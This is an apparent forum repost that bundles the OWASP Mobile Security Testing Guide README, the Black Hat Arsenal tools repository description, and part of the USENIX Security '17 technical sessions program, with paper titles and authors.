Nytro

OWASP Mobile Security Testing Guide This is the official GitHub Repository of the OWASP Mobile Security Testing Guide (MSTG). The MSTG is a comprehensive manual for mobile app security testing and reverse engineering. It describes technical processes for verifying the controls listed in the OWASP Mobile Application Verification Standard (MASVS). You can also read the MSTG on Gitbooks or download it as an e-book. Table-of-Contents Introduction Header Foreword Frontispiece Introduction to the Mobile Security Testing Guide Mobile App Taxonomy Mobile App Security Testing Tampering and Reverse Engineering Android Testing Guide Platform Overview Android Security Testing Basics Testing Data Storage Testing Cryptography Testing Local Authentication Testing Network Communication Testing Platform Interaction Testing Code Quality and Build Settings Tampering and Reverse Engineering on Android Testing Anti-Reversing Defenses iOS Testing Guide Platform Overview iOS Security Testing Basics Testing Data Storage Testing Cryptography Testing Local Authentication Testing Network Communication Testing Platform Interaction Testing Code Quality and Build Settings Tampering and Reverse Engineering on iOS Testing Anti-Reversing Defenses General Testing Guide Testing Authentication with the Backend Testing Network Communication Testing Cryptography for Mobile Apps Testing Code Quality Appendix Assessing Software Protection Schemes Testing Tools Suggested Reading Reading the Mobile Security Testing Guide The MSTG is not complete yet. You can however get intermediate builds in multiple formats. Get the e-book. The book is available for free, but you can choose to purchase it at a price of your choosing if you wish to support our project. All funds raised through sales of the e-book go directly into the project budget and will be used to fund production of the final release. Read it on Gitbook. The book is automatically synchronized with the main repo. You can use the gitbook command line tool to generate PDF, epub, and other e-book formats. Please note that we have disabled the ebook export features on gitbook.com for the time being - they will be enabled once the project reaches beta status. Clone the repository and run the document generator (requires pandoc). This produces docx and html files in the "Generated" subdirectory. $ git clone https://github.com/OWASP/owasp-mstg/ $ cd owasp-mstg/Tools/ $ ./generate_document.sh You can also use the document index to navigate the master branch of the MSTG. Contributions, feature requests and feedback We are searching for additional authors, reviewers and editors. The best way to get started is to browse the existing content. Also, check the project dashboard for a list of open tasks. Drop a us line on the Slack channel before you start working on a topic. This helps us to keep track of what everyone is doing and prevent conflicts. You can create a Slack account here: http://owasp.herokuapp.com/ Before you start contributing, please read our brief style guide which contains a few basic writing rules. If there's something you really want to see in the guide, or you want to suggest an improvement, create an issue issue or ping us on Slack. Authoring Credit Contributors are added to the acknowledgements table based on their contributions logged by GitHub. The list of names is sorted by the number of lines added. Authors are categorized as follows: Project Leader / Author: Manage development of the guide continuously and write a large amount of content. Co-Author: Consistently contribute quality content, at least 2,000 additions logged. Top Contributor: Consistently contribute quality content, at least 500 additions logged. Contributor: Any form of contribution, at least 50 additions logged. Mini-contributor: Everything below 50 additions, e.g. committing a single word or sentence. Reviewer: People that haven't submitted their own pull requests, but have created issues or given useful feedback in other ways. Please ping us or create a pull request if you are missing from the table or in the wrong column (note that we update the table frequently, but not in realtime). If you are willing to write a large portion of the guide and help consistently drive the project forward, you can join as an author. Be aware that you'll be expected to invest lots of time over several months. Contact Bernhard Mueller (Slack: bernhardm) for more information. Sursa: https://github.com/OWASP/owasp-mstg/

Official Black Hat Arsenal Tools Github Repository This github account maps to the Black Hat Arsenal tools since its inception in 2011. For readibility, the tools are classified by category and not by session. This account is maintained by ToolsWatch.org the official organizer of the Black Hat Arsenal event Disclaimer: Tools not demonstrated during a Black Hat Arsenal session will not be accepted How to Submit ? Submit your template to the most one representative category as a pull request. After review, we will reflect the change on the repo. Use the given template tool_name.md . Change tool_name.md to your tool name (ex: lynis.md) Missing a category ? If you think we missed a category, do not hesitate to contact us (or push request). Contact us Twitter Email Link: https://github.com/toolswatch/blackhat-arsenal-tools

USENIX Security '17 Technical Sessions All sessions will take place at the Sheraton Vancouver Wall Centre Hotel. USENIX Security '17 Program Grid Download the program in grid format (PDF). Updated 7/27/17. The full USENIX Security '17 Proceedings will be available for download on Wednesday, August 16, 2017. Individual papers may be downloaded now by registered conference attendees from their respective presentation page and will be available for download to everyone on August 16. Paper abstracts and proceedings front matter are available to everyone now. Copyright to the individual works is retained by the author. Proceedings Front Matter Proceedings Cover | Title Page and List of Organizers | Message from the Program Co-Chairs | Table of Contents Full Proceedings PDFs USENIX Security '17 Full Proceedings (PDF) USENIX Security '17 Proceedings Interior (PDF, best for mobile devices) USENIX Security '17 Proceedings Errata Slip (PDF) USENIX Security '17 Proceedings Errata Slip 2 (PDF, 8/15/17) Downloads for Registered Attendees (Sign in to your USENIX account to download these files.) USENIX Security '17 Attendee List (PDF) USENIX Security '17 Wednesday Paper Archive (PDF, includes Proceedings front matter, errata, and attendee lists) USENIX Security ’17 Thursday Paper Archive (PDF) USENIX Security ’17 Friday Paper Archive (PDF) Wednesday, August 16, 2017 7:30 am–9:00 am Continental Breakfast Grand Ballroom Foyer 9:00 am–9:30 am Opening Remarks and Awards Grand Ballroom Program Co-Chairs: Engin Kirda, Northeastern University, and Thomas Ristenpart, Cornell Tech 9:30 am–10:30 am Hide details ▾ Keynote Address Grand Ballroom When Your Threat Model Is "Everything": Defensive Security in Modern Newsrooms Erinn Clark, Lead Security Architect, First Look Media/The Intercept Show details ▸ 10:30 am–11:00 am Break with refreshments Grand Ballroom Foyer 11:00 am–12:30 pm Track 1 Hide details ▾ Bug Finding I Grand Ballroom AB Session Chair: Thorsten Holz, Ruhr-Universität Bochum How Double-Fetch Situations turn into Double-Fetch Vulnerabilities: A Study of Double Fetches in the Linux Kernel Pengfei Wang, National University of Defense Technology; Jens Krinke, University College London; Kai Lu and Gen Li, National University of Defense Technology; Steve Dodier-Lazaro, University College London AVAILABLE MEDIA Show details ▸ Postmortem Program Analysis with Hardware-Enhanced Post-Crash Artifacts Jun Xu, The Pennsylvania State University; Dongliang Mu, Nanjing University; Xinyu Xing, Peng Liu, and Ping Chen, The Pennsylvania State University; Bing Mao, Nanjing University AVAILABLE MEDIA Show details ▸ Ninja: Towards Transparent Tracing and Debugging on ARM Zhenyu Ning and Fengwei Zhang, Wayne State University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Side-Channel Attacks I Grand Ballroom CD Session Chair: Yuval Yarom, University of Adelaide and Data61, CSIRO Prime+Abort: A Timer-Free High-Precision L3 Cache Attack using Intel TSX Craig Disselkoen, David Kohlbrenner, Leo Porter, and Dean Tullsen, University of California, San Diego AVAILABLE MEDIA Show details ▸ On the effectiveness of mitigations against floating-point timing channels David Kohlbrenner and Hovav Shacham, UC San Diego AVAILABLE MEDIA Show details ▸ Constant-Time Callees with Variable-Time Callers Cesar Pereida García and Billy Bob Brumley, Tampere University of Technology AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Systems Security I Junior Ballroom Session Chair: Long Lu, Stony Brook University Neural Nets Can Learn Function Type Signatures From Binaries Zheng Leong Chua, Shiqi Shen, Prateek Saxena, and Zhenkai Liang, National University of Singapore AVAILABLE MEDIA Show details ▸ CAn’t Touch This: Software-only Mitigation against Rowhammer Attacks targeting Kernel Memory Ferdinand Brasser, Technische Universität Darmstadt; Lucas Davi, University of Duisburg-Essen; David Gens, Christopher Liebchen, and Ahmad-Reza Sadeghi, Technische Universität Darmstadt AVAILABLE MEDIA Show details ▸ Efficient Protection of Path-Sensitive Control Security Ren Ding and Chenxiong Qian, Georgia Tech; Chengyu Song, UC Riverside; Bill Harris, Taesoo Kim, and Wenke Lee, Georgia Tech AVAILABLE MEDIA Show details ▸ 12:30 pm–2:00 pm Lunch (on your own) 2:00 pm–3:30 pm Track 1 Hide details ▾ Bug Finding II Grand Ballroom AB Session Chair: Manuel Egele, Boston University Digtool: A Virtualization-Based Framework for Detecting Kernel Vulnerabilities Jianfeng Pan, Guanglu Yan, and Xiaocao Fan, IceSword Lab, 360 Internet Security Center AVAILABLE MEDIA Show details ▸ kAFL: Hardware-Assisted Feedback Fuzzing for OS Kernels Sergej Schumilo, Cornelius Aschermann, and Robert Gawlik, Ruhr-Universität Bochum; Sebastian Schinzel, Münster University of Applied Sciences; Thorsten Holz, Ruhr-Universität Bochum AVAILABLE MEDIA Show details ▸ Venerable Variadic Vulnerabilities Vanquished Priyam Biswas, Purdue University; Alessandro Di Federico, Politecnico di Milano; Scott A. Carr, Purdue University; Prabhu Rajasekaran, Stijn Volckaert, Yeoul Na, and Michael Franz, University of California, Irvine; Mathias Payer, Purdue University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Side-Channel Countermeasures Grand Ballroom CD Session Chair: Deian Stefan, University of California, San Diego Towards Practical Tools for Side Channel Aware Software Engineering: 'Grey Box' Modelling for Instruction Leakages David McCann, Elisabeth Oswald, and Carolyn Whitnall, University of Bristol AVAILABLE MEDIA Show details ▸ Strong and Efficient Cache Side-Channel Protection using Hardware Transactional Memory Daniel Gruss, Graz University of Technology, Graz, Austria; Julian Lettner, University of California, Irvine, USA; Felix Schuster, Olya Ohrimenko, Istvan Haller, and Manuel Costa, Microsoft Research, Cambridge, UK AVAILABLE MEDIA Show details ▸ CacheD: Identifying Cache-Based Timing Channels in Production Software Shuai Wang, Pei Wang, Xiao Liu, Danfeng Zhang, and Dinghao Wu, The Pennsylvania State University AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Invited Talks Junior Ballroom Session Chair: David Molnar, Microsoft An Ant in a World of Grasshoppers Ellen Cram Kowalczyk, Microsoft Show details ▸ From Problems to Patterns to Practice: Privacy and User Respect in a Complex World Lea Kissner, Product Privacy Lead and Principal Engineer, Google Show details ▸ 3:30 pm–4:00 pm Break with refreshments Grand Ballroom Foyer 4:00 pm–5:30 pm Track 1 Hide details ▾ Malware and Binary Analysis Grand Ballroom AB Session Chair: Michael Franz, University of California, Irvine BinSim: Trace-based Semantic Binary Diffing via System Call Sliced Segment Equivalence Checking Jiang Ming, University of Texas at Arlington; Dongpeng Xu, Yufei Jiang, and Dinghao Wu, Pennsylvania State University AVAILABLE MEDIA Show details ▸ PlatPal: Detecting Malicious Documents with Platform Diversity Meng Xu and Taesoo Kim, Georgia Institute of Technology AVAILABLE MEDIA Show details ▸ Malton: Towards On-Device Non-Invasive Mobile Malware Analysis for ART Lei Xue, The Hong Kong Polytechnic University; Yajin Zhou, unaffiliated; Ting Chen, University of Electronic Science and Technology of China; Xiapu Luo, The Hong Kong Polytechnic University; Guofei Gu, Texas A&M University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Censorship Grand Ballroom CD Session Chair: Patrick Traynor, University of Florida Global Measurement of DNS Manipulation Paul Pearce, UC Berkeley; Ben Jones, Princeton; Frank Li, UC Berkeley; Roya Ensafi and Nick Feamster, Princeton; Nick Weaver, ICSI; Vern Paxson, UC Berkeley AVAILABLE MEDIA Show details ▸ Characterizing the Nature and Dynamics of Tor Exit Blocking Rachee Singh, University of Massachusetts – Amherst; Rishab Nithyanand, Stony Brook University; Sadia Afroz, University of California, Berkeley and International Computer Science Institute; Paul Pearce, UC Berkeley; Michael Carl Tschantz, International Computer Science Institute; Phillipa Gill, University of Massachusetts – Amherst; Vern Paxson, University of California, Berkeley and International Computer Science Institute AVAILABLE MEDIA Show details ▸ DeTor: Provably Avoiding Geographic Regions in Tor Zhihao Li, Stephen Herwig, and Dave Levin, University of Maryland AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Embedded Systems Junior Ballroom Session Chair: Brendan Dolan-Gavitt, New York University SmartAuth: User-Centered Authorization for the Internet of Things Yuan Tian, Carnegie Mellon University; Nan Zhang, Indiana University, Bloomington; Yueh-Hsun Lin, Samsung; Xiaofeng Wang, Indiana University, Bloomington; Blase Ur, University of Chicago; Xianzheng Guo and Patrick Tague, Carnegie Mellon University AVAILABLE MEDIA Show details ▸ AWare: Preventing Abuse of Privacy-Sensitive Sensors via Operation Bindings Giuseppe Petracca, The Pennsylvania State University, US; Ahmad-Atamli Reineh, University of Oxford, UK; Yuqiong Sun, The Pennsylvania State University, US; Jens Grossklags, Technical University of Munich, DE; Trent Jaeger, The Pennsylvania State University, US AVAILABLE MEDIA Show details ▸ 6thSense: A Context-aware Sensor-based Attack Detector for Smart Devices Amit Kumar Sikder, Hidayet Aksu, and A. Selcuk Uluagac, Florida International University AVAILABLE MEDIA Show details ▸ 6:00 pm–7:30 pm Symposium Reception Fountain Square Don’t miss the USENIX Security ’17 Reception, featuring dinner, drinks, and the chance to connect with other attendees, speakers, and conference organizers. 8:30 pm–9:30 pm Lightning Talks Junior Ballroom This is intended as an informal session for short and engaging presentations on recent unpublished results, work in progress, or other topics of interest to the USENIX Security attendees. As in the past, talks do not always need to be serious and funny talks are encouraged! You can continue submitting talks until Wednesday, August 16, 2017, 12:00 pm PDT at https://sec17lightning.usenix.hotcrp.com or by emailing sec17lightning@usenix.org. Thursday, August 17, 2017 8:00 am–9:00 am Continental Breakfast Grand Ballroom Foyer 9:00 am–10:30 am Track 1 Hide details ▾ Networking Security Grand Ballroom AB Session Chair: Giovanni Vigna, University of California, Santa Barbara Identifier Binding Attacks and Defenses in Software-Defined Networks Samuel Jero, Purdue University; William Koch, Boston University; Richard Skowyra and Hamed Okhravi, MIT Lincoln Laboratory; Cristina Nita-Rotaru, Northeastern University; David Bigelow, MIT Lincoln Laboratory AVAILABLE MEDIA Show details ▸ HELP: Helper-Enabled In-Band Device Pairing Resistant Against Signal Cancellation Nirnimesh Ghose, Loukas Lazos, and Ming Li, Electrical and Computer Engineering, University of Arizona, Tucson, AZ AVAILABLE MEDIA Show details ▸ Attacking the Brain: Races in the SDN Control Plane Lei Xu, Jeff Huang, and Sungmin Hong, Texas A&M University; Jialong Zhang, IBM Research; Guofei Gu, Texas A&M University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Targeted Attacks Grand Ballroom CD Session Chair: Adrienne Porter Felt, Google Detecting Credential Spearphishing in Enterprise Settings Grant Ho, UC Berkeley; Aashish Sharma, The Lawrence Berkeley National Labratory; Mobin Javed, UC Berkeley; Vern Paxson, UC Berkeley and ICSI; David Wagner, UC Berkeley Distinguished Paper Award Winner! AVAILABLE MEDIA Show details ▸ SLEUTH: Real-time Attack Scenario Reconstruction from COTS Audit Data Md Nahid Hossain, Stony Brook University; Sadegh M. Milajerdi, University of Illinois at Chicago; Junao Wang, Stony Brook University; Birhanu Eshete and Rigel Gjomemo, University of Illinois at Chicago; R. Sekar and Scott Stoller, Stony Brook University; V.N. Venkatakrishnan, University of Illinois at Chicago AVAILABLE MEDIA Show details ▸ When the Weakest Link is Strong: Secure Collaboration in the Case of the Panama Papers Susan E. McGregor, Columbia Journalism School; Elizabeth Anne Watkins, Columbia University; Mahdi Nasrullah Al-Ameen and Kelly Caine, Clemson University;Franziska Roesner, University of Washington AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Trusted Hardware Junior Ballroom Session Chair: XiaoFeng Wang, Indiana University Hacking in Darkness: Return-oriented Programming against Secure Enclaves Jaehyuk Lee and Jinsoo Jang, KAIST; Yeongjin Jang, Georgia Institute of Technology; Nohyun Kwak, Yeseul Choi, and Changho Choi, KAIST; Taesoo Kim, Georgia Institute of Technology; Marcus Peinado, Microsoft Research; Brent Byunghoon Kang, KAIST AVAILABLE MEDIA Show details ▸ vTZ: Virtualizing ARM TrustZone Zhichao Hua, Jinyu Gu, Yubin Xia, and Haibo Chen, Institute of Parallel and Distributed Systems, Shangha Jiao Tong University; Shanghai Key Laboratory of Scalable Computing and Systems, Shanghai Jiao Tong University; Binyu Zang, Institute of Parallel and Distributed Systems, Shanghai Jiao Tong University; Haibing Guan, Shanghai Key Laboratory of Scalable Computing and Systems, Shanghai Jiao Tong University AVAILABLE MEDIA Show details ▸ Inferring Fine-grained Control Flow Inside SGX Enclaves with Branch Shadowing Sangho Lee, Ming-Wei Shih, Prasun Gera, Taesoo Kim, and Hyesoon Kim, Georgia Institute of Technology; Marcus Peinado, Microsoft Research AVAILABLE MEDIA Show details ▸ 10:30 am–11:00 am Break with refreshments Grand Ballroom Foyer 11:00 am–12:30 pm Track 1 Hide details ▾ Authentication Grand Ballroom AB Session Chair: Tadayoshi Kohno, University of Washington AuthentiCall: Efficient Identity and Content Authentication for Phone Calls Bradley Reaves, North Carolina State University; Logan Blue, Hadi Abdullah, Luis Vargas, Patrick Traynor, and Thomas Shrimpton, University of Florida AVAILABLE MEDIA Show details ▸ Picking Up My Tab: Understanding and Mitigating Synchronized Token Lifting and Spending in Mobile Payment Xiaolong Bai, Tsinghua University; Zhe Zhou, The Chinese University of Hong Kong; XiaoFeng Wang, Indiana University Bloomington; Zhou Li, IEEE Member; Xianghang Mi and Nan Zhang, Indiana University Bloomington; Tongxin Li, Peking University; Shi-Min Hu, Tsinghua University; Kehuan Zhang, The Chinese University of Hong Kong AVAILABLE MEDIA Show details ▸ TrustBase: An Architecture to Repair and Strengthen Certificate-based Authentication Mark O’Neill, Scott Heidbrink, Scott Ruoti, Jordan Whitehead, Dan Bunker, Luke Dickinson, Travis Hendershot, Joshua Reynolds, Kent Seamons, and Daniel Zappala, Brigham Young University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Malware and Obfuscation Grand Ballroom CD Session Chair: Guofei Gu, Texas A&M University Transcend: Detecting Concept Drift in Malware Classification Models Roberto Jordaney, Royal Holloway, University of London; Kumar Sharad, NEC Laboratories Europe; Santanu K. Dash, University College London; Zhi Wang, Nankai University; Davide Papini, Elettronica S.p.A.; Ilia Nouretdinov, and Lorenzo Cavallaro, Royal Holloway, University of London AVAILABLE MEDIA Show details ▸ Syntia: Synthesizing the Semantics of Obfuscated Code Tim Blazytko, Moritz Contag, Cornelius Aschermann, and Thorsten Holz, Ruhr-Universität Bochum AVAILABLE MEDIA Show details ▸ Predicting the Resilience of Obfuscated Code Against Symbolic Execution Attacks via Machine Learning Sebastian Banescu, Technische Universität München; Christian Collberg, University of Arizona; Alexander Pretschner, Technische Universität München AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Invited Talks Junior Ballroom Session Chair: Franziska Roesner, University of Washington Differential Privacy: From Theory to Deployment Abhradeep Guha Thakurta, Assistant Professor, University of California, Santa Cruz Show details ▸ OSS-Fuzz - Google's continuous fuzzing service for open source software Kostya Serebryany, Google Show details ▸ 12:30 pm–2:00 pm Symposium Luncheon Pavilion Ballroom Sponsored by Facebook The Internet Defense Prize will be presented at the Symposium Luncheon. 2:00 pm–3:30 pm Track 1 Hide details ▾ Web Security I Grand Ballroom AB Session Chair: Martin Johns, SAP SE Extension Breakdown: Security Analysis of Browsers Extension Resources Control Policies Iskander Sanchez-Rola and Igor Santos, DeustoTech, University of Deusto; Davide Balzarotti, Eurecom AVAILABLE MEDIA Show details ▸ CCSP: Controlled Relaxation of Content Security Policies by Runtime Policy Composition Stefano Calzavara, Alvise Rabitti, and Michele Bugliesi, Università Ca’ Foscari Venezia AVAILABLE MEDIA Show details ▸ Same-Origin Policy: Evaluation in Modern Browsers Jörg Schwenk, Marcus Niemietz, and Christian Mainka, Horst Görtz Institute for IT Security, Chair for Network and Data Security, Ruhr-University Bochum AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Privacy Grand Ballroom CD Session Chair: Ian Goldberg, University of Waterloo Locally Differentially Private Protocols for Frequency Estimation Tianhao Wang, Jeremiah Blocki, and Ninghui Li, Purdue University; Somesh Jha, University of Wisconsin Madison AVAILABLE MEDIA Show details ▸ BLENDER: Enabling Local Search with a Hybrid Differential Privacy Model Brendan Avent and Aleksandra Korolova, University of Southern California; David Zeber and Torgeir Hovden, Mozilla; Benjamin Livshits, Imperial College London AVAILABLE MEDIA Show details ▸ Computer Security, Privacy, and DNA Sequencing: Compromising Computers with Synthesized DNA, Privacy Leaks, and More Peter Ney, Karl Koscher, Lee Organick, Luis Ceze, and Tadayoshi Kohno, University of Washington AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Systems Security II Junior Ballroom Session Chair: William Robertson, Northeastern University BootStomp: On the Security of Bootloaders in Mobile Devices Nilo Redini, Aravind Machiry, Dipanjan Das, Yanick Fratantonio, Antonio Bianchi, Eric Gustafson, Yan Shoshitaishvili, Christopher Kruegel, and Giovanni Vigna, UC Santa Barbara AVAILABLE MEDIA Show details ▸ Seeing Through The Same Lens: Introspecting Guest Address Space At Native Speed Siqi Zhao and Xuhua Ding, Singapore Management University; Wen Xu, Georgia Institute of Technology; Dawu Gu, Shanghai JiaoTong University AVAILABLE MEDIA Show details ▸ Oscar: A Practical Page-Permissions-Based Scheme for Thwarting Dangling Pointers Thurston H.Y. Dang, University of California, Berkeley; Petros Maniatis, Google Brain; David Wagner, University of California, Berkeley AVAILABLE MEDIA Show details ▸ 3:30 pm–4:00 pm Break with refreshments Grand Ballroom Foyer 4:00 pm–5:30 pm Track 1 Hide details ▾ Web Security II Grand Ballroom AB Session Chair: Franziska Roesner, University of Washington PDF Mirage: Content Masking Attack Against Information-Based Online Services Ian Markwood, Dakun Shen, Yao Liu, and Zhuo Lu, University of South Florida AVAILABLE MEDIA Show details ▸ Loophole: Timing Attacks on Shared Event Loops in Chrome Pepe Vila, IMDEA Software Institute & Technical University of Madrid (UPM); Boris Köpf, IMDEA Software Institute Distinguished Paper Award Winner! AVAILABLE MEDIA Show details ▸ Game of Registrars: An Empirical Analysis of Post-Expiration Domain Name Takeovers Tobias Lauinger, Northeastern University; Abdelberi Chaabane, Nokia Bell Labs; Ahmet Salih Buyukkayhan, Northeastern University; Kaan Onarlioglu, www.onarlioglu.com; William Robertson, Northeastern University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Applied Cryptography Grand Ballroom CD Session Chair: Dan Boneh, Stanford University Speeding up detection of SHA-1 collision attacks using unavoidable attack conditions Marc Stevens, CWI; Daniel Shumow, Microsoft Research AVAILABLE MEDIA Show details ▸ Phoenix: Rebirth of a Cryptographic Password-Hardening Service Russell W. F. Lai, Friedrich-Alexander-University Erlangen-Nürnberg, Chinese University of Hong Kong; Christoph Egger and Dominique Schröder, Friedrich-Alexander-University Erlangen-Nürnberg; Sherman S. M. Chow, Chinese University of Hong Kong AVAILABLE MEDIA Show details ▸ Vale: Verifying High-Performance Cryptographic Assembly Code Barry Bond and Chris Hawblitzel, Microsoft Research; Manos Kapritsos, University of Michigan; K. Rustan M. Leino and Jacob R. Lorch, Microsoft Research; Bryan Parno, Carnegie Mellon University; Ashay Rane, The University of Texas at Austin; Srinath Setty, Microsoft Research; Laure Thompson, Cornell University Distinguished Paper Award Winner! AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ DDoS Panel Junior Ballroom Moderator: Michael Bailey, University of Illinois, at Urbana-Champaign Panelists: Tom Anderson, University of Washington; Damon McCoy, New York University; Nick Sullivan, Cloudflare 6:00 pm–7:30 pm Poster Session and Happy Hour Pavilion Ballroom and Foyer Check out the cool new ideas and the latest preliminary research on display at the Poster Session and Happy Hour. Take part in discussions with your colleagues over complimentary drinks and snacks. View the list of accepted posters. 7:30 pm–9:30 pm USENIX Security '17 Doctoral Colloquium Junior Ballroom Organizer: Thorsten Holz, Ruhr-Universität Bochum Panelists: Mihai Christodorescu, Visa; Roya Ensafi, Princeton University; Ian Goldberg, University of Waterloo; Felix Schuster, Microsoft Research What opportunities await security students graduating with a PhD? On Thursday evening, students will have the opportunity to listen to informal panels of faculty and industrial researchers providing personal perspectives on their post-PhD career search. Learn about the academic job search, the industrial research job search, research fund raising, dual-career challenges, life uncertainty, and other idiosyncrasies of the ivory tower. Friday, August 18, 2017 8:00 am–9:00 am Continental Breakfast Grand Ballroom Foyer 9:00 am–10:30 am Track 1 Hide details ▾ Web Security III Grand Ballroom AB Session Chair: Adam Doupé, Arizona State University Exploring User Perceptions of Discrimination in Online Targeted Advertising Angelisa C. Plane, Elissa M. Redmiles, and Michelle L. Mazurek, University of Maryland; Michael Carl Tschantz, International Computer Science Institute AVAILABLE MEDIA Show details ▸ Measuring the Insecurity of Mobile Deep Links of Android Fang Liu, Chun Wang, Andres Pico, Danfeng Yao, and Gang Wang, Virginia Tech AVAILABLE MEDIA Show details ▸ How the Web Tangled Itself: Uncovering the History of Client-Side Web (In)Security Ben Stock, CISPA, Saarland University; Martin Johns, SAP SE; Marius Steffens and Michael Backes, CISPA, Saarland University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Software Security Grand Ballroom CD Session Chair: Zhiqiang Lin, The University of Texas at Dallas Towards Efficient Heap Overflow Discovery Xiangkun Jia, TCA/SKLCS, Institute of Software, Chinese Academy of Sciences; Chao Zhang, Institute for Network Science and Cyberspace, Tsinghua University; Purui Su, Yi Yang, Huafeng Huang, and Dengguo Feng, TCA/SKLCS, Institute of Software, Chinese Academy of Sciences AVAILABLE MEDIA Show details ▸ DR. CHECKER: A Soundy Analysis for Linux Kernel Drivers Aravind Machiry, Chad Spensky, Jake Corina, Nick Stephens, Christopher Kruegel, and Giovanni Vigna, UC Santa Barbara AVAILABLE MEDIA Show details ▸ Dead Store Elimination (Still) Considered Harmful Zhaomo Yang and Brian Johannesmeyer, University of California, San Diego; Anders Trier Olesen, Aalborg University; Sorin Lerner and Kirill Levchenko, University of California, San Diego AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Side-Channel Attacks II Junior Ballroom Session Chair: A. Selcuk Uluagac, Florida International University Telling Your Secrets without Page Faults: Stealthy Page Table-Based Attacks on Enclaved Execution Jo Van Bulck, imec-DistriNet, KU Leuven; Nico Weichbrodt and Rüdiger Kapitza, IBR DS, TU Braunschweig; Frank Piessens and Raoul Strackx, imec-DistriNet, KU Leuven AVAILABLE MEDIA Show details ▸ CLKSCREW: Exposing the Perils of Security-Oblivious Energy Management Adrian Tang, Simha Sethumadhavan, and Salvatore Stolfo, Columbia University Distinguished Paper Award Winner! AVAILABLE MEDIA Show details ▸ AutoLock: Why Cache Attacks on ARM Are Harder Than You Think Marc Green, Worcester Polytechnic Institute; Leandro Rodrigues-Lima and Andreas Zankl, Fraunhofer AISEC; Gorka Irazoqui, Worcester Polytechnic Institute; Johann Heyszl, Fraunhofer AISEC; Thomas Eisenbarth, Worcester Polytechnic Institute AVAILABLE MEDIA Show details ▸ 10:30 am–11:00 am Break with refreshments Grand Ballroom Foyer 11:00 am–12:30 pm Track 1 Hide details ▾ Understanding Attacks Grand Ballroom AB Session Chair: Blase Ur, University of Chicago Understanding the Mirai Botnet Manos Antonakakis, Georgia Institute of Technology; Tim April, Akamai; Michael Bailey, University of Illinois, Urbana-Champaign; Matt Bernhard, University of Michigan, Ann Arbor; Elie Bursztein, Google; Jaime Cochran, Cloudflare; Zakir Durumeric and J. Alex Halderman, University of Michigan, Ann Arbor; Luca Invernizzi, Google;Michalis Kallitsis, Merit Network, Inc.; Deepak Kumar, University of Illinois, Urbana-Champaign; Chaz Lever, Georgia Institute of Technology; Zane Ma and Joshua Mason, University of Illinois, Urbana-Champaign; Damian Menscher, Google; Chad Seaman, Akamai; Nick Sullivan, Cloudflare; Kurt Thomas, Google; Yi Zhou, University of Illinois, Urbana-Champaign AVAILABLE MEDIA Show details ▸ MPI: Multiple Perspective Attack Investigation with Semantic Aware Execution Partitioning Shiqing Ma, Purdue University; Juan Zhai, Nanjing University; Fei Wang, Purdue University; Kyu Hyung Lee, University of Georgia; Xiangyu Zhang and Dongyan Xu, Purdue University Distinguished Paper Award Winner! AVAILABLE MEDIA Show details ▸ Detecting Android Root Exploits by Learning from Root Providers Ioannis Gasparis, Zhiyun Qian, Chengyu Song, and Srikanth V. Krishnamurthy, University of California, Riverside AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Hardware Security Grand Ballroom CD Session Chair: Manuel Egele, Boston University USB Snooping Made Easy: Crosstalk Leakage Attacks on USB Hubs Yang Su, Auto-ID Lab, The School of Computer Science, The University of Adelaide; Daniel Genkin, University of Pennsylvania and University of Maryland; Damith Ranasinghe, Auto-ID Lab, The School of Computer Science, The University of Adelaide; Yuval Yarom, The University of Adelaide and Data61, CSIRO AVAILABLE MEDIA Show details ▸ Reverse Engineering x86 Processor Microcode Philipp Koppe, Benjamin Kollenda, Marc Fyrbiak, Christian Kison, Robert Gawlik, Christof Paar, and Thorsten Holz, Ruhr-University Bochum AVAILABLE MEDIA Show details ▸ See No Evil, Hear No Evil, Feel No Evil, Print No Evil? Malicious Fill Patterns Detection in Additive Manufacturing Christian Bayens, Georgia Institute of Technology; Tuan Le and Luis Garcia, Rutgers University; Raheem Beyah, Georgia Institute of Technology; Mehdi Javanmard and Saman Zonouz, Rutgers University AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Privacy & Anonymity Systems Junior Ballroom Session Chair: Michael Bailey, University of Illinois at Urbana–Champaign The Loopix Anonymity System Ania M. Piotrowska and Jamie Hayes, University College London; Tariq Elahi, KU Leuven; Sebastian Meiser and George Danezis, University College London AVAILABLE MEDIA Show details ▸ MCMix: Anonymous Messaging via Secure Multiparty Computation Nikolaos Alexopoulos, TU Darmstadt; Aggelos Kiayias, University of Edinburgh; Riivo Talviste, Cybernetica AS; Thomas Zacharias, University of Edinburgh AVAILABLE MEDIA Show details ▸ ORide: A Privacy-Preserving yet Accountable Ride-Hailing Service Anh Pham, Italo Dacosta, Guillaume Endignoux, and Juan Ramon Troncoso Pastoriza, EPFL; Kevin Huguenin, UNIL; Jean-Pierre Hubaux, EPFL AVAILABLE MEDIA Show details ▸ 12:30 pm–2:00 pm Lunch (on your own) 2:00 pm–3:30 pm Track 1 Hide details ▾ Software Integrity Grand Ballroom AB Session Chair: William Robertson, Northeastern University Adaptive Android Kernel Live Patching Yue Chen, Florida State University; Yulong Zhang, Baidu X-Lab; Zhi Wang, Florida State University; Liangzhao Xia, Chenfu Bao, and Tao Wei, Baidu X-Lab AVAILABLE MEDIA Show details ▸ CHAINIAC: Proactive Software-Update Transparency via Collectively Signed Skipchains and Verified Builds Kirill Nikitin, Eleftherios Kokoris-Kogias, Philipp Jovanovic, Nicolas Gailly, and Linus Gasser, École polytechnique fédérale de Lausanne (EPFL); Ismail Khoffi, University of Bonn; Justin Cappos, New York University; Bryan Ford, École polytechnique fédérale de Lausanne 